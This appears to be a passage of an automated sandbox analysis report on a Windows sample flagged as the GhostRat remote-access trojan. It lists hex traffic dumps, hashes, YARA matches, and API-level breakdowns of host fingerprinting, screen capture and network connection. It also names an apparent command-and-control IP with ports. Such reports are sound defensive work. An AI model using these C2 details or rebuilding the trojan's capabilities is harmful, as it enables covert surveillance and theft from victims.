2024-07-05 05:33:05 UTC	8184	IN	Data Raw: a4 32 8a 0f dd f3 2e 9c a5 24 9e 1a 57 f0 e0 58 7e c5 1b 01 82 3c ac 74 c7 3f 9d e7 99 98 49 23 05 a4 fb fc f2 ce 73 7e 64 40 44 2d fa 62 51 bc bc bc e4 96 66 e0 81 a3 7e cc d6 8a 6c 9e 31 d0 ed 81 05 16 66 33 a7 26 f8 61 84 43 35 22 cf 12 3f 43 17 dc 72 8b f8 38 d3 24 61 79 5c 22 22 f2 91 9c 61 14 e7 8f 9f b7 1f 2f ff 88 88 fb 3d 1f a0 3d ef f7 fb fb db e7 ae c5 e3 f2 e9 7f 70 10 14 23 33 d6 8f 81 30 5f 6c 65 42 fc 27 fd 6d 3a 58 0a 2c bf d3 0e 17 96 de bd 17 07 68 81 30 d9 a6 d1 ec 2d 12 7c 23 4c 95 b5 df 7a c0 01 02 60 cc 78 a9 08 d7 32 cc 5f ae 8b 07 13 68 31 b3 92 46 c7 ec 34 e0 d5 39 f5 e9 f3 04 0d 4b 46 04 e5 f4 08 da db 1c 01 61 17 7e 76 5a d9 2c cb a1 34 c9 ec 88 fd 00 10 55 ce 55 05 f9 04 67 c1 13 8b 32 de 89 d8 85 11 36 fc 73 7e 6a 72 e5 df 3a Data Ascii: 2.$WX~<t?I#s~d@D-bQf~l1f3&aC5"?Cr8$ay\""a/==p#30_leB'm:X,h0-\|#Lz`x2_h1F49KFa~vZ,4UUg26s~jr:
2024-07-05 05:33:05 UTC	8184	IN	Data Raw: fb ba d5 5a 95 f3 78 02 e6 cf d0 42 d3 3f c0 e1 bf d0 fd ae 92 83 f3 4e f8 bb c2 cd 49 f3 f9 77 19 3d c1 b0 7f 67 d8 5d a0 d9 36 55 fa 2e 26 2f cb 26 17 ff 5b ad b5 f4 d5 39 b3 59 21 26 29 54 e6 55 66 85 3c 29 bf b2 8b f8 99 21 f0 08 2c 72 ee df b5 5c ee 6f 85 9f 3d c6 ef f5 d8 65 3a f4 db 5d 4d 56 9b bd 3b 5d 21 90 3b b1 7f 85 1b 65 be 87 0f 7f 9f bf cd 08 cb de 13 7f 95 9f b3 a1 75 ea ff e0 75 09 f1 7f 13 21 67 0a 47 3d 5b eb db 86 e1 42 05 e0 bc ec 34 66 ab 61 4c 32 1a f9 f5 15 7c e1 ea 7f 61 74 de 17 59 59 13 0f 5f a2 0a ea 44 58 65 44 f8 df a2 e4 fe af fd 56 ff cf 0a fc b3 3c e1 f7 96 32 f9 39 c6 e1 35 b6 9e 20 cf 70 f0 ee a6 ff 7b 92 d2 ac 48 ff fe 72 cd d8 fb bc 6e fc 98 f7 49 fa 3c 85 b8 1a b1 63 9f bb 69 fe 6f 32 9b ec d1 b2 f8 5f 1a ad 57 db 43 Data Ascii: ZxB?NIw=g]6U.&/&[9Y!&)TUf<)!,r\o=e:]MV;]!;euu!gG=[B4faL2\|atYY_DXeDV<295 p{HrnI<cio2_WC
2024-07-05 05:33:05 UTC	8184	IN	Data Raw: 62 d5 e1 b5 c2 7f 9f f3 ad 63 5e 56 da 2b f7 cd 45 ea 00 b1 23 ed c3 62 33 e4 af c2 16 f9 9a 0d ea 85 fe 34 7f fc 45 50 b0 7e 58 ef 3e e8 72 33 7f 54 e8 66 dd 1f 7f e6 76 58 b7 58 c5 f0 b8 87 2b 36 ba cf 3e c7 ad 75 f7 6e 76 0c 12 fa e3 30 93 78 e8 66 76 74 27 bd 28 ad 31 1b 05 1e 06 62 18 5b eb 86 c5 1a f4 64 e0 1c df 33 1c f1 a5 99 a5 85 ff 3c 34 25 ed 95 a6 95 00 1f 8c 8f 79 1e 7b 9a 00 03 3c d2 72 e5 ec 16 98 8a 18 5c 60 37 1e ab 3f 5a d3 15 70 f1 b1 f7 58 e3 05 be 40 49 78 a5 52 a4 4d 87 bb a3 53 01 59 1c b4 a3 67 d4 0f 55 63 c3 99 76 8f ba fb f5 fa 1c d4 c6 22 17 76 c5 70 9b 83 4d 6e ee 87 75 0f dd 8b 27 dd ad 8f e5 39 bd 77 eb 47 3f cc cc ba 5d af d7 1e 0f dd cc fd 29 f7 d0 e4 90 be 7b 0f 7e 42 27 53 bf f7 78 f4 07 ba 3b a9 90 d9 d1 1f fa 75 d8 23 Data Ascii: bc^V+E#b34EP~X>r3TfvXX+6>unv0xfvt'(1b[d3<4%y{<r\`7?ZpX@IxRMSYgUcv"vpMnu'9wG?]){~B'Sx;u#
2024-07-05 05:33:05 UTC	8184	IN	Data Raw: e6 dc c9 21 35 9e 7a 26 5c a7 cf 7d 4e 1f 7d 21 31 0a b8 3b 7e 0e 86 0c 7b 2c ba e8 01 54 84 92 55 45 9a f3 d9 97 f2 c1 c9 f1 a4 8d 43 13 c4 4e 8d 14 66 a5 60 f9 95 36 2f c3 04 32 8c 03 78 d5 29 e8 70 3e c9 ec 95 b6 da 3c 85 c0 00 b9 5a 69 5f f2 ca 46 b1 57 be c5 e7 d3 9a f3 eb a8 9c e5 12 9f 2f d7 c7 0a 65 e9 0c f3 ed a5 80 d0 e6 e5 e4 99 8a ac 57 1b 94 1a 0d f4 cb 94 a1 40 c8 96 0b 72 24 bf 6a b4 a5 40 34 d9 d2 6e 11 c0 6c b4 de 84 97 54 44 fc 5d e1 bf 79 9e 85 25 5c 92 ff 2f dd 2f 5e e7 11 80 15 4a 82 83 f0 93 05 0a 3f 09 9e 44 7f 8d fd 00 a7 13 6d 9e 1e 3b 0e dd b5 d7 e7 cc 27 93 2f c1 02 3f 1c c7 b4 e2 9b fb 74 42 ec d5 92 66 e4 cf 36 9c b2 10 f3 a0 73 be 79 c8 86 c1 97 dc cc be 18 1f 8e 79 db 48 59 5f 4a fe 55 fc ce fe 95 68 ee a0 25 40 0c c4 66 e9 Data Ascii: !5z&\}N}!1;~{,TUECNf`6/2x)p><Zi_FW/eW@r$j@4nlTD]y%\//^J?Dm;'/?tBf6syyHY_JUh%@f

Target ID:	0
Start time:	01:33:01
Start date:	05/07/2024
Path:	C:\Users\user\Desktop\2IVWAPeiZm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\2IVWAPeiZm.exe"
Imagebase:	0x7ff6f6080000
File size:	11'845'632 bytes
MD5 hash:	06592A8CA068935D98A5ADA152E3393D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000002.4112489647.000001CFB9530000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2285778041.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2629266568.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3349240156.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3706740100.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3726196823.000001CFB9241000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.1748764856.000001CFB924D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2820150176.000001CFB9237000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3368802529.000001CFB923B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.1748942831.000001CFB9250000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3368874986.000001CFBA031000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3919845681.000001CFBA3F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2820582683.000001CFBA071000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.1748764856.000001CFB9216000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.1797698380.000001CFBA031000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3900454177.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.1797698380.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3726241114.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3726279645.000001CFBA071000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3900337582.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2629229655.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2820366657.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3181430469.000001CFB9237000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000002.4113444705.000001CFBA432000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3181505839.000001CFBA031000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3919777549.000001CFB9246000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2285716468.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000002.4113319605.000001CFBA3BB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2629266568.000001CFBA031000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.1925226889.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2453865521.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000002.4113072764.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3919809789.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3006787705.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000002.4112427817.000001CFB9470000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2453718670.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3535968647.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.1925169796.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3181469055.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.4111676483.000001CFB9200000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2107170872.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2629153864.000001CFB9237000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3368840828.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.2107104468.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3368874986.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000003.3181505839.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000000.00000002.4113319605.000001CFBA310000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	86.6%
Signature Coverage:	26.3%
Total number of Nodes:	670
Total number of Limit Nodes:	80

Executed Functions

Function 000001CFB96067B0 Relevance: 73.8, APIs: 29, Strings: 13, Instructions: 324
stringnetworklibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001CFB9611EF8: malloc.LIBCMT ref: 000001CFB9611F12

gethostname.WS2_32 ref: 000001CFB9606861
gethostbyname.WS2_32 ref: 000001CFB960686E
inet_ntoa.WS2_32 ref: 000001CFB960688C

Part of subcall function 000001CFB9612E20: _errno.LIBCMT ref: 000001CFB9612E3E
Part of subcall function 000001CFB9612E20: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB9612E4A

Part of subcall function 000001CFB9612E20: _errno.LIBCMT ref: 000001CFB9612E8C

inet_ntoa.WS2_32 ref: 000001CFB96068DD
MultiByteToWideChar.KERNEL32 ref: 000001CFB960693A
MultiByteToWideChar.KERNEL32 ref: 000001CFB960695C
GetLastInputInfo.USER32 ref: 000001CFB960696F
GetTickCount.KERNEL32 ref: 000001CFB9606975
wsprintfW.USER32 ref: 000001CFB96069A9
MultiByteToWideChar.KERNEL32 ref: 000001CFB96069C8
MultiByteToWideChar.KERNEL32 ref: 000001CFB96069ED
GetSystemInfo.KERNEL32 ref: 000001CFB9606A25
wsprintfW.USER32 ref: 000001CFB9606A3D
GetForegroundWindow.USER32 ref: 000001CFB9606A62
GetWindowTextW.USER32 ref: 000001CFB9606A7D
lstrlenW.KERNEL32 ref: 000001CFB9606A8A
lstrlenW.KERNEL32 ref: 000001CFB9606AF9
GetModuleHandleW.KERNEL32 ref: 000001CFB9606B54
GetProcAddress.KERNEL32 ref: 000001CFB9606B64
GetNativeSystemInfo.KERNEL32 ref: 000001CFB9606B74
GetSystemInfo.KERNEL32 ref: 000001CFB9606B78
wsprintfW.USER32 ref: 000001CFB9606BC2
GetCurrentProcessId.KERNEL32 ref: 000001CFB9606BD0
GetTickCount.KERNEL32 ref: 000001CFB9606C3F
_localtime64.LIBCMT ref: 000001CFB9606C6F
wsprintfW.USER32 ref: 000001CFB9606CBB
GetLocaleInfoW.KERNEL32 ref: 000001CFB9606CD6
GetSystemDirectoryW.KERNEL32 ref: 000001CFB9606CE8
GetCurrentHwProfileW.ADVAPI32 ref: 000001CFB9606CF2

Strings

Network, xrefs: 000001CFB9606A9C
GetNativeSystemInfo, xrefs: 000001CFB9606B5A
AppEvents, xrefs: 000001CFB9606A95
GROUP, xrefs: 000001CFB9606AAA
1.0, xrefs: 000001CFB9606AE1
x64, xrefs: 000001CFB9606BA0
X64 %s, xrefs: 000001CFB9606BBB
2024. 6.19, xrefs: 000001CFB9606B1A
X64, xrefs: 000001CFB9606D2D
kernel32.dll, xrefs: 000001CFB9606B34
x86, xrefs: 000001CFB9606BA9
%d min, xrefs: 000001CFB96069A2
REMARK, xrefs: 000001CFB9606B06

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Info$ByteCharMultiSystemWidewsprintf$CountCurrentTickWindow_errnoinet_ntoalstrlen$AddressDirectoryForegroundHandleInputLastLocaleModuleNativeProcProcessProfileText_invalid_parameter_noinfo_localtime64gethostbynamegethostnamemalloc
String ID: %d min$1.0$2024. 6.19$AppEvents$GROUP$GetNativeSystemInfo$Network$REMARK$X64$X64 %s$kernel32.dll$x64$x86
API String ID: 1661628823-2610823962
Opcode ID: 0597a9a8bc57398b293fbe0f732a79aa948228ee52a9d6ae8b0ebe17f385299e
Instruction ID: 309093f93e4ef286cd73267993ec77eae4492e053d3fd233417c329175dcd11e
Opcode Fuzzy Hash: 0597a9a8bc57398b293fbe0f732a79aa948228ee52a9d6ae8b0ebe17f385299e
Instruction Fuzzy Hash: 41F16C32240AC696FB18DF60E880BDD7773F794744F40412ADA4A57AA5DF38DB6AC740

Function 000001CFB96107A0 Relevance: 58.1, APIs: 23, Strings: 10, Instructions: 301
sleepregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000001CFB96107F4
CloseHandle.KERNEL32 ref: 000001CFB961082F

Part of subcall function 000001CFB96120C4: _errno.LIBCMT ref: 000001CFB96120E3
Part of subcall function 000001CFB96120C4: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB96120EF

Part of subcall function 000001CFB96120C4: _errno.LIBCMT ref: 000001CFB961211F

GetLocalTime.KERNEL32 ref: 000001CFB9610848
wsprintfW.USER32 ref: 000001CFB961088E
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CFB961089B
CloseHandle.KERNEL32 ref: 000001CFB96108C1
EnumWindows.USER32 ref: 000001CFB9610A3A

Part of subcall function 000001CFB9611EF8: malloc.LIBCMT ref: 000001CFB9611F12

Part of subcall function 000001CFB96122D0: _errno.LIBCMT ref: 000001CFB96122FB
Part of subcall function 000001CFB96122D0: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB9612306

Sleep.KERNEL32 ref: 000001CFB9610A55
EnumWindows.USER32 ref: 000001CFB9610A6C
Sleep.KERNEL32 ref: 000001CFB9610AAC
CreateEventA.KERNEL32 ref: 000001CFB9610B01
RegOpenKeyExW.ADVAPI32 ref: 000001CFB9610B6F
Sleep.KERNEL32 ref: 000001CFB9610BA1
RegOpenKeyExW.ADVAPI32 ref: 000001CFB9610BD5
RegQueryValueExW.ADVAPI32 ref: 000001CFB9610C02
Sleep.KERNEL32 ref: 000001CFB9610C7E
WaitForSingleObject.KERNEL32 ref: 000001CFB9610CAF
CloseHandle.KERNEL32 ref: 000001CFB9610CB8
Sleep.KERNEL32 ref: 000001CFB9610CC3

Part of subcall function 000001CFB96122D0: _getptd.LIBCMT ref: 000001CFB961232C
Part of subcall function 000001CFB96122D0: CreateThread.KERNEL32 ref: 000001CFB9612381
Part of subcall function 000001CFB96122D0: GetLastError.KERNEL32 ref: 000001CFB961238C
Part of subcall function 000001CFB96122D0: free.LIBCMT ref: 000001CFB9612397

WaitForSingleObject.KERNEL32 ref: 000001CFB9610CE8
CloseHandle.KERNEL32 ref: 000001CFB9610CF1
Sleep.KERNEL32 ref: 000001CFB9610D0B
CloseHandle.KERNEL32 ref: 000001CFB9610D22

Strings

8888, xrefs: 000001CFB9610963
Console, xrefs: 000001CFB9610BC7
206.238.115.146, xrefs: 000001CFB961091A, 000001CFB96109BD, 000001CFB9610A92, 000001CFB9610B21
IpDatespecial, xrefs: 000001CFB9610BF6
206.238.115.146, xrefs: 000001CFB961092A
127.0.0.1, xrefs: 000001CFB96109B1
206.238.115.146, xrefs: 000001CFB9610957
Console\1, xrefs: 000001CFB9610B61
%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 000001CFB9610880
6666, xrefs: 000001CFB9610936

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Sleep$CloseHandle$_errno$CreateEnumObjectOpenSingleWaitWindows_invalid_parameter_noinfo$ErrorEventExceptionFilterLastLocalQueryThreadTimeUnhandledValue_getptdfreemallocwsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$127.0.0.1$206.238.115.146$206.238.115.146$206.238.115.146$6666$8888$Console$Console\1$IpDatespecial
API String ID: 3428909306-2523648427
Opcode ID: e7f111ba5dc29d1d22144977cf958d959f161eb9f5cb80e62a8ccba1b0c60566
Instruction ID: 4db1bbfdc96b82c0f8ac123ee19958495282036af8265f6dfec0f1a650894106
Opcode Fuzzy Hash: e7f111ba5dc29d1d22144977cf958d959f161eb9f5cb80e62a8ccba1b0c60566
Instruction Fuzzy Hash: E5F15831688AD286FB149F25E880BD977B3F795784F40513EDA4A436A5DF38CE4ACB00

Function 000001CFB960DD20 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 302
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDesktopWindow.USER32 ref: 000001CFB960DD61
GetDC.USER32 ref: 000001CFB960DD6A
CreateCompatibleDC.GDI32 ref: 000001CFB960DD76
GetDC.USER32 ref: 000001CFB960DD82
GetDeviceCaps.GDI32 ref: 000001CFB960DD93
GetDeviceCaps.GDI32 ref: 000001CFB960DDA3
ReleaseDC.USER32 ref: 000001CFB960DDC0
GetSystemMetrics.USER32 ref: 000001CFB960DDDE
GetSystemMetrics.USER32 ref: 000001CFB960DE14
GetSystemMetrics.USER32 ref: 000001CFB960DE67
GetSystemMetrics.USER32 ref: 000001CFB960DE81
CreateCompatibleBitmap.GDI32 ref: 000001CFB960DE9F
SelectObject.GDI32 ref: 000001CFB960DEB3
SetStretchBltMode.GDI32 ref: 000001CFB960DEC1
GetSystemMetrics.USER32 ref: 000001CFB960DECC
GetSystemMetrics.USER32 ref: 000001CFB960DEE6
StretchBlt.GDI32 ref: 000001CFB960DF2C
GetDIBits.GDI32 ref: 000001CFB960DFD1

Part of subcall function 000001CFB9611EF8: malloc.LIBCMT ref: 000001CFB9611F12

DeleteObject.GDI32 ref: 000001CFB960E084
DeleteObject.GDI32 ref: 000001CFB960E08E
ReleaseDC.USER32 ref: 000001CFB960E099
DeleteObject.GDI32 ref: 000001CFB960E127
DeleteObject.GDI32 ref: 000001CFB960E131
ReleaseDC.USER32 ref: 000001CFB960E13C

Strings

gfff, xrefs: 000001CFB960DE1E
, xrefs: 000001CFB960DEEC
gfff, xrefs: 000001CFB960DDF8

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Object$Delete$Release$CapsCompatibleCreateDeviceStretch$BitmapBitsDesktopModeSelectWindowmalloc
String ID: $gfff$gfff
API String ID: 1524144516-4202476792
Opcode ID: 9a10de1b3758c51586f0cda8e42a005b2d9936903bf318cf6b77adf13835b416
Instruction ID: 2994d5536e0a6d89f695ccd8f09d9c4345fe604353f95f7b4c9a77764b569088
Opcode Fuzzy Hash: 9a10de1b3758c51586f0cda8e42a005b2d9936903bf318cf6b77adf13835b416
Instruction Fuzzy Hash: A3D1B032710B9186F715AB71E454B9D73B3FB59B88F01823ADE0A67798EF38C9568340

Function 000001CFB93973D0 Relevance: 32.9, APIs: 3, Strings: 15, Instructions: 1376registryCOMMON

Download Yara Rule

APIs

_wcsrev.LIBCMT ref: 000001CFB9397411
RegOpenKeyExW.KERNEL32 ref: 000001CFB9397D81
RegQueryValueExW.KERNEL32 ref: 000001CFB9397DB5

Strings

|, xrefs: 000001CFB9397F70
|, xrefs: 000001CFB93974E0
|, xrefs: 000001CFB9397B90
|, xrefs: 000001CFB9397C50
1, xrefs: 000001CFB9398099
|, xrefs: 000001CFB9397950
|, xrefs: 000001CFB9398070
|, xrefs: 000001CFB9397D10
|, xrefs: 000001CFB9397890
|, xrefs: 000001CFB93977D0
|, xrefs: 000001CFB93975C0
|, xrefs: 000001CFB93976A0
|, xrefs: 000001CFB9397AD0
|, xrefs: 000001CFB9397A10
|, xrefs: 000001CFB9397EA0

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: OpenQueryValue_wcsrev
String ID: 1$|$|$|$|$|$|$|$|$|$|$|$|$|$|
API String ID: 2336627112-483243098
Opcode ID: e7c24950faba3f9ac85f5f069f5f95afb0107786a1c82c81ace9b637109b25c1
Instruction ID: b9ceb4c2870b1af13fd6217388f93164b9ffedb9a8898c40617e7ecb3b27d834
Opcode Fuzzy Hash: e7c24950faba3f9ac85f5f069f5f95afb0107786a1c82c81ace9b637109b25c1
Instruction Fuzzy Hash: 6F92F7306A49898AFB2D6F14D985BF973AAFB51305FAC853DC487C20E2DF74C9478681

Function 000001CFB9603380 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 168
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32 ref: 000001CFB96033B1
timeGetTime.WINMM ref: 000001CFB96033C0
socket.WS2_32 ref: 000001CFB96033F5
lstrlenW.KERNEL32 ref: 000001CFB9603422
WideCharToMultiByte.KERNEL32 ref: 000001CFB9603446
lstrlenW.KERNEL32 ref: 000001CFB9603460
WideCharToMultiByte.KERNEL32 ref: 000001CFB9603483
gethostbyname.WS2_32 ref: 000001CFB9603490
htons.WS2_32 ref: 000001CFB96034B8
connect.WS2_32 ref: 000001CFB96034E2

Strings

0u, xrefs: 000001CFB9603565

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWidelstrlen$EventResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 950253168-3203441087
Opcode ID: 0b0d78ca37e5d5ffe8402b7fe09c2a3ec7c65584014e325bd1671e59c11e9872
